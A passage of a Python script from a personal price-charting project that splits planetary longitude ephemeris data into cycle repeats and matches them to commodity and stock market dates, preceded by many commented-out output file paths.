\"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_1613_deg_or_4.5388_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_1616_deg_or_4.488_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_808_deg_or_2.244_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_H.Jupiter_360_deg_or_1_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_2857_deg_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Mars_4037.5_deg_or_11.215_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Mars_360_deg_or_1_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Mars_1080_deg_or_3_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Mars_2520_deg_or_7_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Moon_G.Sun_90720_deg_or_252_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_782_deg_or_2.1722_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_960_deg_or_2.666_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Jupiter_233_deg_repeats_July_Wheat.csv\"\n\n\n# Gold - June contract (GC_M).\noutputFilename = \"/home/rluu/programming/pricechartingtool/master/misc/EphemerisGeneration/cycleOfRepetition/G.Mars_60_deg_repeats_June_Gold_GC_M.csv\"\n\n\n# TDW\n#\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_1800_deg_or_5_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Mars_1080_deg_or_3_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_1440_deg_or_4_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_1415_deg_or_3.9305_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_1419_deg_or_3.94167_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_1800_deg_or_5_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_432_deg_or_1.2_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_7713_deg_or_21.425_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_15426_deg_or_42.85_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_15426_deg_or_42.85_circle_repeats_TDW_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_H.Jupiter_804_deg_or_2.2333_circle_repeats_TDW_1969_to_2016.csv\"\n\n# Barrick Gold Corporation Stock. Symbol: ABX\n#\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/ABX_G.Moon_sheet_of_20_rev.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_1800_deg_or_5_circle_repeats_ABX_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/ABX_G.Sun_sheet_of_3600_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Moon_15840_deg_or_44_circle_repeats_ABX_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_1440_deg_or_4_circle_repeats_ABX_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_432_deg_or_1.2_circle_repeats_ABX_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_1800_deg_or_5_circle_repeats_ABX_1969_to_2016.csv\"\n\n# Citigroup (Symbol: C)\n#\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/C_H.Earth_sheet_of_1800_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/C_H.Venus_H.Earth_sheet_of_1800_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/C_G.Sun_sheet_of_3600_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Mars_1080_deg_or_3_circle_repeats_C_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Jupiter_360_deg_or_1_circle_repeats_C_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_H.Jupiter_360_deg_or_1_circle_repeats_C_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_1800_deg_or_5_circle_repeats_C_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Mars_2520_deg_or_7_circle_repeats_C_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/C_H.Mars_sheet_of_1942_deg.csv\"\n\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_H.Saturn_360_deg_or_1_circle_repeats_X_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Saturn_360_deg_or_1_circle_repeats_X_1969_to_2016.csv\"\n\n# Stock JC Penny. Symbol: JCP\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/JCP_G.Sun_sheet_of_3600_deg.csv\"\n\n# Stock JP Morgan. Symbol: JPM\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/JPM_G.Sun_sheet_of_3600_deg.csv\"\n\n# TTTA dow.\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Moon_5040_deg_or_14_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Moon_7560_deg_or_21_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Moon_7920_deg_or_22_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_420_deg_or_1.1666_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_7920_deg_or_22_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_H.Earth_1274_deg_or_3.54_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Jupiter_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Saturn_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_H.Venus_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_H.Earth_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_1800_deg_or_5_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_288_deg_or_0.8_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Jupiter_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Saturn_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Mars_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Jupiter_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_H.Jupiter_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_H.Jupiter_750_deg_or_2.0833_circle_repeats_DJIA_1980_to_Current.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_H.Saturn_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_H.Mars_1080_deg_or_3_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_H.Jupiter_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Jupiter_H.Saturn_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Jupiter_H.Uranus_360_deg_or_1_circle_repeats_DJIA_1894_to_1935.csv\"\n\n\n# Dow current period.\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/DJIA_H.Mars_sheet_of_1942_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/DJIA_H.Jupiter_sheet_of_233_deg.csv\"\n\n# Intel stock. Symbol: INTC\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/INTC_G.Sun_sheet_of_1800_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/INTC_G.Sun_sheet_of_3600_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/INTC_H.Mars_sheet_of_1942_deg.csv\"\n\n\n# American Express stock. Symbol: AXP\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/AXP_G.Sun_sheet_of_3600_deg.csv\"\n\n# IBM stock. Symbol: IBM\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/IBM_G.Sun_sheet_of_3600_deg.csv\"\n\n# Goldcorp stock. Symbol: GG\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/GG_G.Sun_sheet_of_3600_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/GG_G.Moon_sheet_of_44_rev.csv\"\n\n\n# For logging.\nlogging.basicConfig(format='%(levelname)s: %(message)s')\nmoduleName = globals()['__name__']\nlog = logging.getLogger(moduleName)\n#log.setLevel(logging.DEBUG)\nlog.setLevel(logging.INFO)\n\n##############################################################################\n\ndef shutdown(rc):\n \"\"\"Exits the script, but first flushes all logging handles, etc.\"\"\"\n \n # Close the Ephemeris so it can do necessary cleanups.\n #Ephemeris.closeEphemeris()\n \n logging.shutdown()\n \n sys.exit(rc)\n\ndef toNormalizedAngle(angleDeg):\n \"\"\"Normalizes the given angle to a value in the range [0, 360).\n\n Arguments:\n angleDeg - float value in degrees of an angle to normalize.\n\n Returns:\n float value holding the equivalent angle, but in the range [0, 360).\n \"\"\"\n\n a = float(angleDeg)\n \n while a < 0.0:\n a += 360.0\n while a >= 360.0:\n a -= 360.0\n\n return a\n \ndef convertTimestampStrToDatetime(timestampStr):\n \"\"\"Converts a timestamp str from the CSV file to a datetime, and\n returns that datetime object. If an error occurs in the\n conversion process, then None is returned.\n \n The timestamp str format can be in \"YYYY-MM-DD HH:MM\" or \"YYYY-MM-DD\". \n\n If the timestamp str is given in the format \"YYYY-MM-DD\", then this\n function assumes that for a date given, the timestamp will be\n at 12:00 pm (noon).\n\n Prerequisites:\n 'defaultInputFileTimezone' global variable is set to the\n pytz.timezone object used for the timestamp str.\n \n Parameters:\n timestampStr - str input value in the format\n of \"YYYY-MM-DD HH:MM\" or \"YYYY-MM-DD\". \n \n Return value:\n datetime.datetime object containing the equivalent timestamp.\n None is returned if an error occured during hte conversion process.\n \"\"\"\n \n # Check input string for correct formatting.\n if len(timestampStr) != len(\"YYYY-MM-DD\") and \\\n len(timestampStr) != len(\"YYYY-MM-DD HH:MM\"):\n log.error(\"Read a timestamp from the CSV file that is \" + \\\n \"not in the correct format. timestampStr == '{}'\".\\\n format(timestampStr))\n return None\n \n elif timestampStr[4] != \"-\" or timestampStr[7] != \"-\":\n log.error(\"Read a timestamp from the CSV file that is \" + \\\n \"not in the correct format. timestampStr == '{}'\".\\\n format(timestampStr))\n return None\n\n\n yearStr = timestampStr[0:4]\n monthStr = timestampStr[5:7]\n dayStr = timestampStr[8:10]\n\n hourStr = None\n minuteStr = None\n\n if len(timestampStr) == len(\"YYYY-MM-DD HH:MM\"):\n hourStr = timestampStr[11:13]\n minuteStr = timestampStr[14:16]\n else:\n hourStr = \"12\"\n minuteStr = \"00\"\n \n # Test to make sure all the str values are digits before\n # converting to int values.\n for letter in yearStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit year value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n for letter in monthStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit month value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n for letter in dayStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit day value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n for letter in hourStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit hour value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n for letter in minuteStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit minute value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n\n # Convert the substrings to int values for the parts of the date/time.\n year = int(yearStr)\n month = int(monthStr)\n day = int(dayStr)\n hour = int(hourStr)\n minute = int(minuteStr)\n \n rv = datetime.datetime(year, month, day, hour, minute, \\\n tzinfo=defaultInputFileTimezone)\n \n return rv\n\n\ndef convertTimestampStrToDatetime2(timestampStr):\n \"\"\"Converts a timestamp str from the CSV file to a datetime, and\n returns that datetime object. If an error occurs in the\n conversion process, then None is returned.\n \n The timestamp str format can be in \"MM/DD/YYYY HH:MM\" or \"MM/DD/YYYY\". \n\n If the timestamp str is given in the format \"MM/DD/YYYY\", then this\n function assumes that for a date given, the timestamp will be\n at 12:00 pm (noon).\n\n Prerequisites:\n 'defaultInputFileTimezone' global variable is set to the\n pytz.timezone object used for the timestamp str.\n \n Parameters:\n timestampStr - str input value in the format\n of \"MM/DD/YYYY HH:MM\" or \"MM/DD/YYYY\".\n \n Return value:\n datetime.datetime object containing the equivalent timestamp.\n None is returned if an error occured during hte conversion process.\n \"\"\"\n \n # Check input string for correct formatting.\n if len(timestampStr) != len(\"MM/DD/YYYY\") and \\\n len(timestampStr) != len(\"MM/DD/YYYY HH:MM\"):\n log.error(\"Read a timestamp from the CSV file that is \" + \\\n \"not in the correct format. timestampStr == '{}'\".\\\n format(timestampStr))\n return None\n \n elif timestampStr[2] != \"/\" or timestampStr[5] != \"/\":\n log.error(\"Read a timestamp from the CSV file that is \" + \\\n \"not in the correct format. timestampStr == '{}'\".\\\n format(timestampStr))\n return None\n\n\n monthStr = timestampStr[0:2]\n dayStr = timestampStr[3:5]\n yearStr = timestampStr[6:10]\n\n hourStr = None\n minuteStr = None\n\n if len(timestampStr) == len(\"MM/DD/YYYY HH:MM\"):\n hourStr = timestampStr[11:13]\n minuteStr = timestampStr[14:16]\n else:\n hourStr = \"12\"\n minuteStr = \"00\"\n \n # Test to make sure all the str values are digits before\n # converting to int values.\n for letter in yearStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit year value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n for letter in monthStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit month value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n for letter in dayStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit day value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n for letter in hourStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit hour value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n for letter in minuteStr:\n if not letter.isdigit():\n log.error(\"There is a non-digit minute value found in \" + \\\n \"timestampStr '{}'\".format(timestampStr))\n return None\n\n # Convert the substrings to int values for the parts of the date/time.\n year = int(yearStr)\n month = int(monthStr)\n day = int(dayStr)\n hour = int(hourStr)\n minute = int(minuteStr)\n \n rv = datetime.datetime(year, month, day, hour, minute, \\\n tzinfo=defaultInputFileTimezone)\n \n return rv\n\n\n\n##############################################################################\n\n# Holds the header line of the ephemeris input file. We will use this\n# header line in the output file.\nheaderLine = \"\"\n\n# Modulus offset of degrees per column of timestamp and planet and price. \nmodOffsetPerColumnRepeat = numDegreesElapsedForRepeat % 360\n\n# List of lists. Each item in this list is a list containing the\n# fields of text of the input ephemeris CSV file.\nlistOfEphemerisDataValues = []\n\n\n# Read in the ephemeris input file:\nlog.info(\"Reading from ephemeris input file: '{}' ...\".\\\n format(ephemerisInputFilename))\ntry:\n with open(ephemerisInputFilename, \"r\") as f:\n i = 0\n for line in f:\n line = line.strip()\n if line == \"\":\n # Empty line, do nothing for this line.\n # Go to next line.\n i += 1\n elif i < linesToSkip:\n # Header line.\n headerLine = line\n i += 1\n else:\n # Normal data line.\n dataValues = line.split(\",\")\n listOfEphemerisDataValues.append(dataValues)\n i += 1\n \nexcept IOError as e:\n errStr = \"I/O Error while trying to read file '\" + \\\n ephemerisInputFilename + \"':\" + os.linesep + str(e)\n log.error(errStr)\n shutdown(1)\n\n# Extract from the headerLine, the header str for the measurement we\n# are obtaining.\nheaderStrForPlanetMeasurement = \\\n headerLine.split(\",\")[ephemerisInputFileLongitudeColumn]\n\n\n# List of lists. Each item in this list is a list containing the\n# fields of text of the market data input CSV file.\nlistOfMarketDataDataValues = []\n\nif marketDataInputFilename != None and marketDataInputFilename != \"\":\n log.info(\"Reading from market data input file: '{}' ...\".\\\n format(marketDataInputFilename))\n try:\n with open(marketDataInputFilename, \"r\") as f:\n i = 0\n for line in f:\n line = line.strip()\n if line == \"\":\n # Empty line, do nothing for this line.\n # Go to next line.\n i += 1\n elif i < linesToSkip:\n # Header line.\n headerLine = line\n i += 1\n else:\n # Normal data line.\n dataValues = line.split(\",\")\n listOfMarketDataDataValues.append(dataValues)\n i += 1\n except IOError as e:\n errStr = \"I/O Error while trying to read file '\" + \\\n marketDataInputFilename + \"':\" + os.linesep + str(e)\n log.error(errStr)\n shutdown(1)\n\n# List of lists. This is for ephemeris values. Each item is list\n# which holds all the rows for that of repeat of\n# 'numDegreesElapsedForRepeat' degrees.\nlistOfOutputEphemerisColumns = []\n\n# Number of cycles. This is a counter variable that holds the number\n# of complete cycle repeat. If a geocentric planet is retrograde and\n# revisits a degree, that doesn't count as a complete cycle.\nnumFullCycles = 0\n\n# List of lists. This list holds all the rows for a\n# particular repeat of 'numDegreesElapsedForRepeat' degrees.\n# Each item in this list is a list of values [timestamp, longitude value % 360].\ncurrRepeatRowsList = []\n\n\n# This value is the idealized starting value for the always-increasing\n# longitude. From this value we calculate the elapsed degrees for the\n# particular 'repeat'.\n#\n# On the first 'repeat', this starting value is equal to 'startingLongitude'.\n# \nstartingValue = None\n\n\n# Previous value of the always-increasing longitude value.\nprevValue = None\n# Current value of the always-increasing longitude value.\ncurrValue = None\n\nfor i in range(0, len(listOfEphemerisDataValues)):\n currRow = listOfEphemerisDataValues[i]\n \n timestampStr = currRow[ephemerisInputFileTimestampColumn]\n currValueStr = currRow[ephemerisInputFileLongitudeColumn]\n\n \n log.debug(\"i == {}\".format(i))\n log.debug(\"timestampStr == '{}'\".format(timestampStr))\n log.debug(\"currValueStr == '{}'\".format(currValueStr))\n \n currValue = float(currValueStr)\n \n log.debug(\"currValue == {}\".format(currValue))\n \n # We need to find the starting point if it is not already set.\n # This only happens at the very beginning when we have not found\n # our starting point.\n if startingValue == None:\n # We need two columns to see it cross over the\n # 'startingLongitude' value.\n if prevValue != None:\n # We have two values now from which to compare.\n if prevValue < startingLongitude and \\\n currValue >= startingLongitude:\n \n # Get the idealized starting value. \n startingValue = startingLongitude\n\n # We have a new startingValue, so clear out currRepeatRowsList.\n currRepeatRowsList = []\n \n if startingValue != None:\n # See if we have elapsed our desired number of degrees.\n elapsed = currValue - startingValue\n\n if elapsed > numDegreesElapsedForRepeat:\n # We have elapsed our desired number of degrees for a 'repeat'.\n # Append all the information for the previous repeat.\n listOfOutputEphemerisColumns.append(currRepeatRowsList)\n\n numFullCycles += 1\n \n # Calculate the new startingValue for the next 'repeat'.\n startingValue = startingValue + numDegreesElapsedForRepeat\n\n # We have a new startingValue, so clear out the currRepeatRowsList.\n currRepeatRowsList = []\n\n elif currValue < startingValue and prevValue > startingValue:\n \n # Geocentric planet is retrograde:\n # \n # The planet crossed from over to under the previous repeat degree.\n\n # Note: This algorithm may miss some hits if the\n # day-resolution is not fine enough for fast planets like\n # G.Mercury.\n \n # We have elapsed our desired number of degrees that\n # matches a 'repeat'. \n # Append all the information for the previous repeat.\n listOfOutputEphemerisColumns.append(currRepeatRowsList)\n\n # No need to update 'startingValue' variable.\n\n # Clear out the currRepeatRowsList since we hit the repeat degree.\n currRepeatRowsList = []\n\n elif currValue > startingValue and prevValue < startingValue:\n \n # Geocentric planet is direct:\n # \n # The planet crossed from under to over the previous repeat degree.\n\n # We have elapsed our desired number of degrees that\n # matches a 'repeat'. Append all the information for the\n # previous repeat.\n listOfOutputEphemerisColumns.append(currRepeatRowsList)\n\n # No need to update 'startingValue' variable.\n\n # Clear out the currRepeatRowsList since we hit the repeat degree.\n currRepeatRowsList = []\n\n # Add an entry for the current row and values.\n\n # Below uses the mod-360 longitude value.\n rowToAdd = timestampStr + \",\" + str(currValue % 360)\n\n # Below uses the always-increasing longitude value. (commented out).\n # rowToAdd = timestampStr + \",\" + currValueStr\n\n # Below is the column of information for the offset\n # normalization, so that we can compare similar numbers of\n # degrees between previous repeats.\n multipleOfOffsetToSubtract = len(listOfOutputEphemerisColumns) - 1\n if multipleOfOffsetToSubtract <= 0:\n # No multiple because\n rowToAdd += \",\" + str(toNormalizedAngle((currValue % 360)))\n else:\n rowToAdd += \",\" + \\\n str(toNormalizedAngle((currValue % 360) - \\\n (modOffsetPerColumnRepeat * \\\n multipleOfOffsetToSubtract)))\n \n currRepeatRowsList.append(rowToAdd)\n\n # Update the curr and prev values for the next iteration.\n prevValue = currValue\n currValue = None\n\nlog.info(\"We have found {} complete cycle repeats in this data.\".\\\n format(numFullCycles))\nlog.info(\"Each repeat is the elapsing of {} degrees (or {} full circles).\".\\\n format(numDegreesElapsedForRepeat,\n numDegreesElapsedForRepeat / 360.0))\n\nif numFullCycles != len(listOfOutputEphemerisColumns):\n log.info(\"We have found {} hits to the repeat degree in this data. \".\\\n format(len(listOfOutputEphemerisColumns)) + \\\n \"(This can happen for geocentric planets).\")\n \n# At this point, we've gone through all the rows in our input\n# ephemeris file. There may be rows that didn't complete a full\n# 'repeat'; if so, then we'll just append those values for an\n# incomplete repeat.\nif len(currRepeatRowsList) != 0:\n listOfOutputEphemerisColumns.append(currRepeatRowsList)\n \n\nlog.info(\"Matching up ephemeris dates to market data ...\")\n\n# This is the current index that we are at while traversing list of\n# rows of market data. This is so we don't have to search through the\n# whole market data list to find a matching date for each ephemeris\n# timestamp. We assume that the market data is in sequential order\n# from earliest timestamp to later timestamp.\ncurrIndexInMarketData = 0\n\n# Now we will find the market data (high price and low price) for each\n# corresponding date. This algorithm below assumes that the market\n# data is ordered from earlier timestamp to later timestamp.\nfor i in range(0, len(listOfOutputEphemerisColumns)):\n repeatRowsList = listOfOutputEphemerisColumns[i]\n\n for j in range(0, len(repeatRowsList)):\n row = repeatRowsList[j]\n rowSplit = row.split(\",\")\n \n # Get the timestamp str, which should be the first item in this list.\n timestampStr = rowSplit[0]\n \n # Turn this timestampStr into a datetime.\n ephemerisDt = convertTimestampStrToDatetime(timestampStr)\n\n # Data we are seeking that matches this timestamp date.\n marketDataDt = None\n highPriceStr = None\n lowPriceStr = None\n \n # Find the next market data row that matches the date.\n for k in range(currIndexInMarketData, len(listOfMarketDataDataValues)):\n currRow = listOfMarketDataDataValues[k]\n \n marketDataTimestampStr = currRow[marketDataInputFileTimestampColumn]\n currHighPriceStr = currRow[marketDataInputFileHighPriceColumn]\n currLowPriceStr = currRow[marketDataInputFileLowPriceColumn]\n \n # Convert the timestampStr to a datetime.\n # This timestamp str is expected to be in format \"MM/DD/YYYY\".\n currMarketDataDt = \\\n 